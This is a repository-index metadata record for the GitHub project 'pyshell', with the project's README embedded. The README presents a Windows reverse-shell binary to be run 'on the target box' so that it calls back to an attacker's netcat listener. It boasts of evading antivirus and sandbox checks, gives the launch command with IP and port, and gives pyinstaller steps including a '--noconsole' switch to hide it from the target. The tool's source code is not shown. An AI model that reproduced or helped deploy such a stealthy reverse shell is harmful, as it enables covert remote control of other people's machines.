{"id":17975076,"url":"https://github.com/initstring/pyshell","last_synced_at":"2026-03-08T02:04:50.673Z","repository":{"id":130807547,"uuid":"168642842","full_name":"initstring/pyshell","owner":"initstring","description":"  Simple netcat-like binary for Windows, created with python and py2exe.","archived":false,"fork":false,"pushed_at":"2019-02-01T04:39:05.000Z","size":4950,"stargazers_count":13,"open_issues_count":0,"forks_count":4,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-06-10T11:15:23.811Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/initstring.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-02-01T04:37:12.000Z","updated_at":"2024-08-19T18:19:54.000Z","dependencies_parsed_at":"2023-05-18T13:46:49.754Z","dependency_job_id":null,"html_url":"https://github.com/initstring/pyshell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/initstring/pyshell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/initstring%2Fpyshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/initstring%2Fpyshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/initstring%2Fpyshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/initstring%2Fpyshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/initstring","download_url":"https://codeload.github.com/initstring/pyshell/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/initstring%2Fpyshell/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30242404,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-08T00:58:18.660Z","status":"online","status_checked_at":"2026-03-08T02:00:06.215Z","response_time":56,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-29T17:18:09.153Z","updated_at":"2026-03-08T02:04:50.657Z","avatar_url":"https://github.com/initstring.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Overview\nA simple binary to get reverse shells on Windows machines. Like netcat but unknown for now by \"next-gen\" AV (lol).\n\nSimply execute the exe on the target box with two arguments as follows. First, set up a nc listener on your machine.\n```\npyshell.exe \u003cip address\u003e \u003cport\u003e\n```\n\nNOTE: There is a line in the code to look for the specific binary name as sys.argv(0). This is in hopes of avoiding some AV sandboxes. If you renamed the binary without building your own, it probably won't work.\n\n# Building a new exe\nYou'll need to use a Windows host to generate the exe after modifying the Python source.\n\n**Requirements**\n- Python 3.x\n- pyinstaller installed using `pip install pyinstaller`\n\n**Building the exe**\u003cbr\u003e\nRun pyinstaller like the following to package the required DLLs:\n```\npyinstaller -F pyshell.py\n```\nThis should create a `dist` folder in your current directory with the new executable.\n\nYou can add the '--noconsole' swich when building to not display a console on the target. You can also hard-code the IP and Port into the Python script before building if you'd like a version that requires no arguments. Don't forget to get rid of argparse completely if you do so.\n\n# Shout out\nThis thread: https://stackoverflow.com/questions/37991717/python-windows-reverse-shell-one-liner\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finitstring%2Fpyshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Finitstring%2Fpyshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finitstring%2Fpyshell/lists"}